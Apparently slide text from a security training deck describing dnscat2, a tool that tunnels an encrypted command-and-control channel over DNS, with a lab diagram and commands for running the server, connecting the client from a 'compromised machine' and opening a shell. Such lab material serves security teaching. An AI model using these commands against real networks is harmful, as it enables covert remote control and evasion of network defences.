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• A DNS tunnel => designed to create an encrypted command-and-

control (C&C) channel over the DNS protocol, which is an effective 

tunnel out of almost every network
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• dnscat2 comes in two parts: the client and the server

• The client is designed to be run on a compromised machine. It's 

written in C and has the minimum possible dependencies. It should 

run just about anywhere

• The server is designed to be run on an authoritative DNS server. 

It's in ruby, and depends on several different gems. 
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-------------------

| dnscat2      |

|  Client         | 

|  Linux          |     ++++++++++                            ---------------------

------------------- |      dnscat2      |

IP:192.168.10.112                             ++++++++++    |      Server         |

|       Linux          |

--------------------

IP:192.168.10.12
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• Compiling the client 
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• Installing the server
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• Running the server => help menu 
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• Running the client => help menu 
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• Running a server => ruby dnscat2.rb rtam.tk 
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• Testing the server  using the client's –ping command => ./dnscat --

ping rtam.tk



Information Security Confidential - Partner Use Only

Running DnsCat2
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• Running the DNS server on a different port => 
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• Use the client to connect => ./dnscat --dns

host=192.168.10.112,port=53532 
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• Verifying the same string on the server
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• window command to interact with dns1
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• List of commands
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• Executing a shell
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• Dnscat2 GitHub

https://github.com/iagox86/dnscat2


